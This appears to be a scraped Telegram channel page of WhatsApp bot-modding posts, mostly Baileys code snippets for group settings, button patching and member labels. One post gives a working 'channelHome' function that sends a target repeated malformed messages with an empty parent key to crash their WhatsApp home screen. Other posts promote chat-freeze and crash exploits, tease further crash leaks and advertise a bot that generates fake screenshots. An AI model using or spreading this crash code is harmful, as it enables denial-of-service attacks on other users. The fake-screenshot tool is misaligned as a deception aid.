fa
Feedback
𐂲⃕𐆃𝐬͢𝐌 ⛧ 𐅕͢𝐨𝐝𝐝͢𝐞𝐫⃕𐂲

𐂲⃕𐆃𝐬͢𝐌 ⛧ 𐅕͢𝐨𝐝𝐝͢𝐞𝐫⃕𐂲

رفتن به کانال در Telegram

Bot & WhatsApps All images shared in this channel are for visual purposes only. They are intended solely for illustrative use and do not represent any functional or operational aspects! All phone numbers in the media belong to the channel admin © 2021 tsm

نمایش بیشتر
کشور مشخص نشده استدسته بندی مشخص نشده است
278
مشترکین
+224 ساعت
+187 روز
+2030 روز
آرشیو پست ها
Made a func to toggle group history👍 async function toggleGroupHistory(sock, jid, enable = true) { if (sock && jid) await so
Made a func to toggle group history👍
async function toggleGroupHistory(sock, jid, enable = true) {
if (sock && jid)
await sock.query({
    tag: "iq",
    attrs: {
        type: "get",
        to: "s.whatsapp.net",
        xmlns: "w:mex"
    },
    content: [
        {
            tag: "query",
            attrs: {
                query_id: "24688994337458819"
            },
            content: Buffer.from(JSON.stringify({
                variables: {
                    group_id: jid,
                    input: {
                        member_share_group_history_mode: enable ? "ALL_MEMBER_SHARE" : "ADMIN_SHARE"
                    }
                }
            }), "utf-8")
        }
    ]
})
}
Dont miss future updates and join our channel now 😛
t.me/TheSatanicMirror

Crash home via channel😏
Function used in this video:
async function channelHome(sock, target, count = 5) {
for (let x = 0; x < count; x++) {
sock.relayMessage(target, {
"messageContextInfo": {
    "messageAssociation": {
        "parentMessageKey": {"id": ""}
    }
},
"extendedTextMessage": {}
},{})
await sleep(5000)
}
}
Join so you dont miss any future updates Next leak at 500 subs🤌

Lottie sticker edit got fully patched They added the JWT signature proof that was missing before. Without their private key w
Lottie sticker edit got fully patched
They added the JWT signature proof that was missing before. Without their private key we cant make top memes anymore 🫡

Crash home newsletter leak at 150 subscribers in this channel share the link guys: t.me/TheSatanicMirror

All videos above are old and content may be outdated🍸

Here are one thousand 5char telegram usernames🦋
Channel crash (home) will be leaked at 1k follows so share this to your friends ore groups/channels

Because i forgot to update the web version pairing wasnt working for some of you guys. Here is the updated version🤟
Whatsapp bot base (fix)
🔝Features: 🔼- slim 🔼- anti view once 🔼- buttons 🔼- poll menu 🔼- custom pairing 🔼- internal terminal 🔼- smart prebuild
By TsM Snøwi?🔥

🆕 chat to home frezze (maybe first one)
Unfortunately, I currently have almost no time for WhatsApp. That's why there have been so few posts.👈

Just added a new feature for the bannchecker🎷: >Generate fake screenshot for your channels/groups Command: ?? +xxxxxxxxxx Bo
Just added a new feature for the bannchecker🎷: >Generate fake screenshot for your channels/groups
Command: ?? +xxxxxxxxxx
Bot: @projghostbot

Goofy ahhh crashes 🤫

I improved the function to use interactive buttons as sender so cta_url buttons can be shown again👍 Place the patchMessageBe
I improved the function to use interactive buttons as sender so cta_url buttons can be shown again👍
Place the patchMessageBeforeSending in your makeWaSocket (like in the picture)
Code:
patchMessageBeforeSending: (msg) => {
function self(msg) {
    const im =
        msg?.interactiveMessage ||
        msg?.message?.interactiveMessage ||
        Object.values(msg || {}).find(v => v?.message?.interactiveMessage)?.message
            ?.interactiveMessage;
    const c = !!im?.carouselMessage?.cards?.every(
        i => i?.nativeFlowMessage?.buttons
    );
    if (!im?.nativeFlowMessage?.buttons && !c) return msg;
    const obj = { name: "cta_url", buttonParamsJson: "" };
    const ctaify = but => {
        if (!Array.isArray(but)) return but;
        return but.flatMap(b => {
            if (!b?.buttonParamsJson) {
                return [];
            }
            if (b?.name?.toLowerCase?.().includes("cta_url")) {
                return [b];
            }
            return [obj, b];
        });
    };
    if (im?.nativeFlowMessage?.buttons) {
        im.nativeFlowMessage.buttons = ctaify(
            im.nativeFlowMessage.buttons
        );
    }
    if (c) {
        for (const card of im.carouselMessage.cards) {
            if (Array.isArray(card.nativeFlowMessage?.buttons)) {
                card.nativeFlowMessage.buttons = ctaify(
                    card.nativeFlowMessage.buttons
                );
            }
        }
    }
    return msg;
}
msg = self(msg)
return msg
},

Guys its still possible 🥳

There is a way to change your group member label using baileys. How??? With this function: async function groupLabel(sock, ta
There is a way to change your group member label using baileys. How??? With this function:
async function groupLabel(sock, targetGroupJid, text) {
try {
sock.relayMessage(targetGroupJid, {
"protocolMessage": {
    "type": 30,
    "memberLabel": {
        "label": text.slice(0,30) //Limit is 30
    }
}
},{
"additionalNodes": [
{
    "tag": "meta",
    "attrs": {
        "tag_reason": "user_update",
        "appdata": "member_tag"
    },
    "content": undefined
}      
]
})
} catch(e) {}
}

//How to use:
await groupLabel(snowi, target, "TsM Snøwi")
There are some limits by whatsapp: -Max 30 chars -Only some chars work

I upgradet the bannchecker a bit You can now check multiple target at once. Hope you like it😮 Bot: @ProjGhostBot use /help i
I upgradet the bannchecker a bit You can now check multiple target at once. Hope you like it😮
Bot: @ProjGhostBot
use /help if you dont know how to use the command

🖥Permanent chat lock (frezze) using video

😀Crash home via channel.
>>More updates incoming 😀<<

I am currently playing around with the apk a bit. Soon new bot updates🤔
I am currently playing around with the apk a bit. Soon new bot updates🤔